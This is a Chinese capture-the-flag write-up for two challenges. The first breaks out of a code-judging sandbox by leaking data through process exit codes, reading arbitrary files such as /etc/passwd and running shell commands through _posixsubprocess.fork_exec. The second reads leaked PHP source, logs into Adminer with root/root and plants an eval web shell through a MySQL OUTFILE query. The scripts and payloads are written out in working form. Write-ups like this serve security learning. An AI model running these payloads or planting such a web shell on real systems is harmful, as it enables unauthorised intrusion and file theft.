ezoj

啊?怎么整个五个算法题给CTF选手做??这我不得不展示一下真正的技术把测评机打穿。 题目环境不出网。

随便穿个包上去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/submit HTTP/1.1
Host: 121.41.238.106:49629
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 49
Origin: http://121.41.238.106:49629
Connection: close
Referer: http://121.41.238.106:49629/
Priority: u=0

{"problem_id":"0","code":"a = input()\nprint(a)"}

返回

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.9
Date: Sun, 23 Feb 2025 12:31:02 GMT
Content-Type: application/json
Content-Length: 53
Connection: close

{"message":"Wrang Answer: pass(0/10)","status":"WA"}

侧信道,结合系统本身返回的状态用了系统返回的进程退出状态来泄露数据。

尝试盲注发现能成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import json

session = requests.Session()
str = ''
for i in range(100):
data = {
'problem_id': '0',
'code': f'''
import sys
v = sys.version
sys.exit(ord(v[{i}]))
'''
}
response = session.post('http://121.41.238.106:10858/api/submit', json=data)
result = json.loads(response.text)
re = result['message'][19:]
print(re)
print(chr(int(re)))
str += chr(int(re))
print(str)

任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

file = "/etc/passwd"

payload = """
import readline
import sys

flag = ""
readline.clear_history()
readline.read_history_file('{file}')
flag += readline.get_history_item({line}).__str__().strip()
sys.exit(ord(flag[{a}]))
"""

flag = ""
for line in range(1, 100):
for i in range(0, 200):
resp = requests.post(
"http://121.41.238.106:49629/api/submit",
json={"problem_id": "0", "code": payload.format(a=i, line=line, file=file)},
)
json_data = resp.json()
ret_code = int(json_data['message'].split("=")[-1])
if ret_code == 1:
flag += "\n"
break
flag += chr(ret_code)
print("===================")
print(flag)

利用 _posixsubprocess.fork_exec() 以子进程的方式执行 shell 命令

1
2
3
4
5
import _posixsubprocess
import os

_posixsubprocess.fork_exec([b"/bin/sh","-c", "ls / > /tmp/r"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1,
0, 3, False, False,False, None, None, None, -1, None, False)

然后使用上面的代码读取即可

1
aliyunctf{c496d972-236d-4aa4-9bde-6d0c3e9dbf98}

image-20250223204533301

打卡OK

没写好的系统怎么会打卡ok呢~

可以xxx.php~读源码

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
$username=addslashes($_POST['username']);
$password=$_POST['password'];
$code=$_POST['code'];
$endpass=md5($code.$password).':'.$code;
$sql = "select password from users where username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
if($endpass==$row['password']){
$_SESSION['login'] = 1;
$_SESSION['username'] = md5($username);
echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
}
}
} else {
echo "<script>alert(\"错误\");</script>";
die();
}
$conn->close();

}
?>

pass.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class mypass{
public function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';

for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}

return $randomString;
}
public function checkpass($plain) {
$password = $this->generateRandomString();
$salt = substr(md5($password), 0, 5);
$password = md5($salt . $plain) . ':' . $salt;
return $password;
}
}
?>

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php
session_start();
if($_SESSION['login']!=1){
echo "<script>alert(\\"Please login!\\");window.location.href=\\"./login.php\\";</script>";
return ;
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>鎵撳崱绯荤粺</title>
<meta name="keywords" content="HTML5 Template">
<meta name="description" content="Forum - Responsive HTML5 Template">
<meta name="author" content="Forum">
<link rel="shortcut icon" href="favicon/favicon.ico">
<meta name="format-detection" content="telephone=no">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->
<nav class="panel-menu" id="mobile-menu">
<ul>

</ul>
<div class="mm-navbtn-names">
<div class="mm-closebtn">
Close
<div class="tt-icon">
<svg>
<use xlink:href="#icon-cancel"></use>
</svg>
</div>
</div>
<div class="mm-backbtn">Back</div>
</div>
</nav>

<main id="tt-pageContent">
<div class="container">
<div class="tt-wrapper-inner">
<h1 class="tt-title-border">
琛ュ崱绯荤粺
</h1>
<form class="form-default form-create-topic" action="./index.php" method="POST">
<div class="form-group">
<label for="inputTopicTitle">濮撳悕</label>
<div class="tt-value-wrapper">
<input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>">
</div>

</div>

<div class="pt-editor">
<h6 class="pt-title">琛ュ崱鍘熷洜</h6>

<div class="form-group">
<textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
</div>

<div class="row">
<div class="col-auto ml-md-auto">
<button class="btn btn-secondary btn-width-lg">鎻愪氦</button>
</div>
</div>
</div>
</form>
</div>

</div>
</main>
</body>
</html>
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
if(isset($_GET['debug_buka']))
{
$time=date($_GET['debug_buka']);
}else{
$time=date("Y-m-d H:i:s");
}
$arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
$check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
$cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
if (is_file($cachefile)) {
$data=file_get_contents($cachefile);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
$check="/var/www/html/".$checkdata['background'].".php";
include "$check";
}else{
include 'error.php';
}
}
?>

cache.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
/**
*
*/
class myCache
{
public function writecache($name,$data) {
$file = '/var/www/html/cache/' . $name . '.php';
$cachedata = "<?php exit;//" . $data;
file_put_contents($file,$cachedata);
return '';
}
}

class checkin{
function writec($data,$name)
{
$wr=new myCache();
$wr->writecache($data,$name);
}
}
?>

ok.php

1
2
<?php echo 'ok';?>
//adminer_481.php

访问

image-20250223210645753

root/root登录(web用户没权限写),直接写shell就行了

1
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/cache/1.php'

image-20250223210943913